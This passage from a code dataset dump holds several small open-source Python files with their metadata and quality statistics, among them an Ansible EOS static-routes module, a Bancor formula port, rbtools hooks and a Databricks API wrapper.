import t... | 41.621931 | 192 | 0.602139 | 4,203 | 25,431 | 3.335713 | 0.068998 | 0.029244 | 0.050071 | 0.040656 | 0.755849 | 0.708916 | 0.664123 | 0.641298 | 0.632311 | 0.603138 | 0 | 0.058875 | 0.240612 | 25,431 | 611 | 193 | 41.621931 | 0.667098 | 0.034289 | 0 | 0.487755 | 1 | 0 | 0.007957 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.030612 | false | 0 | 0.016327 | 0 | 0.069388 | 0.046939 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
02e26302e2f2766f97b8fb8e097f6cf4288aebcd | 312 | py | Python | tests/__init__.py | jreese/struct | 65f7c6498536c551ee1fdb43c3c429f24aa0f755 | [
"MIT"
] | null | null | null | tests/__init__.py | jreese/struct | 65f7c6498536c551ee1fdb43c3c429f24aa0f755 | [
"MIT"
] | null | null | null | tests/__init__.py | jreese/struct | 65f7c6498536c551ee1fdb43c3c429f24aa0f755 | [
"MIT"
] | null | null | null | # Copyright 2015 John Reese
# Licensed under the MIT license
# flake8: noqa
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from .ent import TestEnt
from .json import TestEntJson
from .yaml import TestEntYaml
| 24 | 39 | 0.836538 | 42 | 312 | 5.761905 | 0.619048 | 0.165289 | 0.264463 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.018657 | 0.141026 | 312 | 12 | 40 | 26 | 0.884328 | 0.221154 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0.142857 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
02ed6c154bdf158ecff6792b90eaf7ce80aa71d7 | 837 | py | Python | passonelib/tests/codec/entry.py | raaidrt/passone | e4038fb9be58491e21955f50ac9c852575f36a23 | [
"MIT"
] | null | null | null | passonelib/tests/codec/entry.py | raaidrt/passone | e4038fb9be58491e21955f50ac9c852575f36a23 | [
"MIT"
] | null | null | null | passonelib/tests/codec/entry.py | raaidrt/passone | e4038fb9be58491e21955f50ac9c852575f36a23 | [
"MIT"
] | null | null | null | from passonelib.codec.entry import Entry, InvalidEntryFieldException, InvalidEncodingException
class EntryTest:
@staticmethod
def testEncoding():
entry : Entry = Entry("test_account Name", "Test URL @ hotmail.com", "Test Username asldf134)*R(141&*2 16%", "test passdsaf;als29381++0`-3`23||sdafa\\")
... | 36.391304 | 161 | 0.641577 | 87 | 837 | 6.068966 | 0.551724 | 0.094697 | 0.05303 | 0.060606 | 0.102273 | 0.102273 | 0.102273 | 0.102273 | 0 | 0 | 0 | 0.066768 | 0.212664 | 837 | 22 | 162 | 38.045455 | 0.734446 | 0 | 0 | 0.105263 | 0 | 0 | 0.200717 | 0.041816 | 0 | 0 | 0 | 0 | 0.105263 | 1 | 0.210526 | true | 0.105263 | 0.052632 | 0 | 0.315789 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 3 |
02f3105ca8ffa4cbef23063581e4585f22afc48f | 1,020 | py | Python | hdcs_manager/source/python-hsmclient/hsmclient/v1/rbds.py | isabella232/HDCS | 1a5ae046e3ff947cc7a42219b9b1959766687612 | [
"Apache-2.0"
] | null | null | null | hdcs_manager/source/python-hsmclient/hsmclient/v1/rbds.py | isabella232/HDCS | 1a5ae046e3ff947cc7a42219b9b1959766687612 | [
"Apache-2.0"
] | 1 | 2021-02-23T19:10:26.000Z | 2021-02-23T19:10:26.000Z | hdcs_manager/source/python-hsmclient/hsmclient/v1/rbds.py | isabella232/HDCS | 1a5ae046e3ff947cc7a42219b9b1959766687612 | [
"Apache-2.0"
] | null | null | null |
import urllib
from hsmclient import base
class Rbd(base.Resource):
""""""
def __repr__(self):
return "<Rbd: %s>" % self.id
class RbdManager(base.ManagerWithFind):
""""""
resource_class = Rbd
def create(self):
pass
def delete(self):
pass
def update(self):
... | 17.894737 | 72 | 0.516667 | 114 | 1,020 | 4.508772 | 0.412281 | 0.077821 | 0.064202 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.338235 | 1,020 | 56 | 73 | 18.214286 | 0.761481 | 0 | 0 | 0.1 | 0 | 0 | 0.056623 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.233333 | false | 0.1 | 0.066667 | 0.033333 | 0.533333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 3 |
f304ae6f3bb89b0e33c3eff45826324c804c9f83 | 81 | py | Python | backend/orbit_graph/database/config.py | memgraph/orbicon | 6d00773a97ee3f8e08ad8f08f72127146c18476a | [
"MIT"
] | 4 | 2021-09-20T12:50:52.000Z | 2022-03-21T15:38:42.000Z | backend/orbit_graph/database/config.py | memgraph/orbicon | 6d00773a97ee3f8e08ad8f08f72127146c18476a | [
"MIT"
] | 1 | 2021-09-22T20:29:21.000Z | 2021-09-22T20:29:21.000Z | backend/orbit_graph/database/config.py | memgraph/orbicon | 6d00773a97ee3f8e08ad8f08f72127146c18476a | [
"MIT"
] | null | null | null | MG_HOST="memgraph"
MG_PORT=7687
MG_ENCRYPTED=False
MG_USERNAME=""
MG_PASSWORD=""
| 13.5 | 18 | 0.802469 | 13 | 81 | 4.615385 | 0.692308 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.052632 | 0.061728 | 81 | 5 | 19 | 16.2 | 0.736842 | 0 | 0 | 0 | 0 | 0 | 0.098765 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.2 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 3 |
f30f45346bd6187b1c5372e3e5759d3f3fb6e4e8 | 17 | py | Python | mttools/__init__.py | nog642/MathTools | 46486a56992dfff3b33d52bea6f6dec5d5c0c3cf | [
"MIT"
] | 8 | 2020-07-24T20:32:55.000Z | 2020-08-01T16:53:13.000Z | mttools/__init__.py | nog642/MathTools | 46486a56992dfff3b33d52bea6f6dec5d5c0c3cf | [
"MIT"
] | 10 | 2019-12-23T19:28:26.000Z | 2020-09-04T15:48:07.000Z | mttools/__init__.py | nog642/MathTools | 46486a56992dfff3b33d52bea6f6dec5d5c0c3cf | [
"MIT"
] | 5 | 2020-07-24T19:34:47.000Z | 2020-08-01T13:19:44.000Z | name = "MtTools"
| 8.5 | 16 | 0.647059 | 2 | 17 | 5.5 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.176471 | 17 | 1 | 17 | 17 | 0.785714 | 0 | 0 | 0 | 0 | 0 | 0.411765 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
b833e5d73e6d6bd67460118e6e3cfd9ad87dac88 | 31,048 | py | Python | venv/lib/python3.8/site-packages/ansible_collections/arista/eos/plugins/modules/eos_static_routes.py | saeedya/docker-ansible | 6fb0cfc6bc4a5925b21380952a5a4502ec02119a | [
"Apache-2.0"
] | null | null | null | venv/lib/python3.8/site-packages/ansible_collections/arista/eos/plugins/modules/eos_static_routes.py | saeedya/docker-ansible | 6fb0cfc6bc4a5925b21380952a5a4502ec02119a | [
"Apache-2.0"
] | null | null | null | venv/lib/python3.8/site-packages/ansible_collections/arista/eos/plugins/modules/eos_static_routes.py | saeedya/docker-ansible | 6fb0cfc6bc4a5925b21380952a5a4502ec02119a | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/python
# -*- coding: utf-8 -*-
# Copyright 2019 Red Hat
# GNU General Public License v3.0+
# (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)
#############################################
# WARNING #
#############################################
#
# This file is au... | 32.07438 | 124 | 0.337091 | 2,169 | 31,048 | 4.728907 | 0.153527 | 0.012869 | 0.038608 | 0.019304 | 0.60973 | 0.587794 | 0.568782 | 0.561763 | 0.541776 | 0.513405 | 0 | 0.080357 | 0.555495 | 31,048 | 967 | 125 | 32.107549 | 0.662851 | 0.019518 | 0 | 0.791146 | 0 | 0.007946 | 0.966888 | 0.018836 | 0 | 0 | 0 | 0 | 0 | 1 | 0.001135 | false | 0 | 0.00454 | 0 | 0.005675 | 0.001135 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
b8361f20250448e946752409b9ef9e8ce1cef473 | 28,070 | py | Python | solidity/python/FormulaSolidityPort/__init__.py | Jacekdaa/contracts | 10697505f9485d22d4795971e0dfbfb37adc2d47 | [
"Apache-2.0"
] | 2 | 2019-10-04T03:24:46.000Z | 2019-10-04T03:24:59.000Z | solidity/python/FormulaSolidityPort/__init__.py | Jacekdaa/contracts | 10697505f9485d22d4795971e0dfbfb37adc2d47 | [
"Apache-2.0"
] | null | null | null | solidity/python/FormulaSolidityPort/__init__.py | Jacekdaa/contracts | 10697505f9485d22d4795971e0dfbfb37adc2d47 | [
"Apache-2.0"
] | null | null | null | ONE = 1;
MAX_RATIO = 1000000;
MIN_PRECISION = 32;
MAX_PRECISION = 127;
'''
Auto-generated via 'PrintIntScalingFactors.py'
'''
FIXED_1 = 0x080000000000000000000000000000000;
FIXED_2 = 0x100000000000000000000000000000000;
MAX_NUM = 0x200000000000000000000000000000000;
'''
Auto-generated via 'PrintLn2ScalingFact... | 55.916335 | 180 | 0.699216 | 2,782 | 28,070 | 6.948958 | 0.230769 | 0.015829 | 0.008276 | 0.023174 | 0.158235 | 0.140648 | 0.09192 | 0.058866 | 0.040141 | 0.030209 | 0 | 0.248221 | 0.194122 | 28,070 | 501 | 181 | 56.027944 | 0.606383 | 0.146776 | 0 | 0.072165 | 1 | 0 | 0 | 0 | 0 | 0 | 0.411201 | 0 | 0.024055 | 1 | 0.04811 | false | 0 | 0 | 0.003436 | 0.123711 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
b8556ba0a4136e7c41df848fbfdc6c05bd98dad0 | 188 | py | Python | .github/workflows/RecordedScript.py | dbigge/Network-Automation | f7646471fc81e0d293ab94b34eaf842afc54053b | [
"PSF-2.0"
] | null | null | null | .github/workflows/RecordedScript.py | dbigge/Network-Automation | f7646471fc81e0d293ab94b34eaf842afc54053b | [
"PSF-2.0"
] | null | null | null | .github/workflows/RecordedScript.py | dbigge/Network-Automation | f7646471fc81e0d293ab94b34eaf842afc54053b | [
"PSF-2.0"
] | null | null | null | # $language = "python"
# $interface = "1.0"
# This automatically generated script may need to be
# edited in order to work correctly.
def Main():
crt.Screen.Synchronous = True
Main()
| 17.090909 | 52 | 0.696809 | 27 | 188 | 4.888889 | 0.925926 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.012987 | 0.180851 | 188 | 10 | 53 | 18.8 | 0.837662 | 0.664894 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
b85c0be522e2c5949e6299f40fd8a8e043874f1a | 3,519 | py | Python | rbtools/hooks/common.py | brettdh/rbtools | ddaa655aeac4a087580696f8e1155f90637d80be | [
"MIT"
] | null | null | null | rbtools/hooks/common.py | brettdh/rbtools | ddaa655aeac4a087580696f8e1155f90637d80be | [
"MIT"
] | null | null | null | rbtools/hooks/common.py | brettdh/rbtools | ddaa655aeac4a087580696f8e1155f90637d80be | [
"MIT"
] | null | null | null | import logging
import re
import subprocess
from rbtools.api.client import RBClient
from rbtools.api.errors import APIError, ServerInterfaceError
SUBMITTED = 'submitted'
class HookError(Exception):
pass
def get_api(server_url, username, password):
"""Returns an RBClient instance and the associated root re... | 31.990909 | 79 | 0.693379 | 437 | 3,519 | 5.414188 | 0.318078 | 0.203297 | 0.069738 | 0.065934 | 0.24049 | 0.198648 | 0.172443 | 0.098901 | 0.08284 | 0.08284 | 0 | 0.001101 | 0.225632 | 3,519 | 109 | 80 | 32.284404 | 0.867156 | 0 | 0 | 0.131148 | 0 | 0 | 0.087246 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0.114754 | 0.081967 | null | null | 0.016393 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 3 |
b861067c5fd1faf651d46dc189e952b9a243bb8f | 98 | py | Python | lib/mpm.py | trentm/minimalist-python-module | 320f80c58172dd1493152d43ce550c7fc1d39b5a | [
"MIT"
] | 4 | 2015-04-13T18:36:26.000Z | 2020-10-25T10:00:15.000Z | lib/mpm.py | trentm/minimalist-python-module | 320f80c58172dd1493152d43ce550c7fc1d39b5a | [
"MIT"
] | null | null | null | lib/mpm.py | trentm/minimalist-python-module | 320f80c58172dd1493152d43ce550c7fc1d39b5a | [
"MIT"
] | null | null | null |
__version__ = "1.0.0"
def mpm():
print("hi from mpm, the Minimalist Python Module project")
| 16.333333 | 62 | 0.673469 | 15 | 98 | 4.133333 | 0.866667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.037975 | 0.193878 | 98 | 5 | 63 | 19.6 | 0.746835 | 0 | 0 | 0 | 0 | 0 | 0.556701 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0 | 0 | 0.333333 | 0.333333 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
b87915bf55c16fe61dd2725f091d404da19f5933 | 1,927 | py | Python | databricks_cli/clusters/api.py | andrewmchen/databricks-cli | ef3e5fa6b93e12bd922621fb35d5b9142e6b3c4c | [
"Apache-2.0"
] | 1 | 2017-08-24T17:40:50.000Z | 2017-08-24T17:40:50.000Z | databricks_cli/clusters/api.py | andrewmchen/databricks-cli | ef3e5fa6b93e12bd922621fb35d5b9142e6b3c4c | [
"Apache-2.0"
] | null | null | null | databricks_cli/clusters/api.py | andrewmchen/databricks-cli | ef3e5fa6b93e12bd922621fb35d5b9142e6b3c4c | [
"Apache-2.0"
] | null | null | null | # Databricks CLI
# Copyright 2017 Databricks, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License"), except
# that the use of services to which certain application programming
# interfaces (each, an "API") connect requires that the user first obtain
# a license for the use of the APIs from Databricks,... | 31.590164 | 92 | 0.775298 | 283 | 1,927 | 5.09894 | 0.424028 | 0.07623 | 0.11781 | 0.143451 | 0.2079 | 0.133056 | 0.108108 | 0 | 0 | 0 | 0 | 0.004851 | 0.144266 | 1,927 | 60 | 93 | 32.116667 | 0.870224 | 0.530877 | 0 | 0 | 0 | 0 | 0.022701 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.473684 | false | 0 | 0.052632 | 0.473684 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.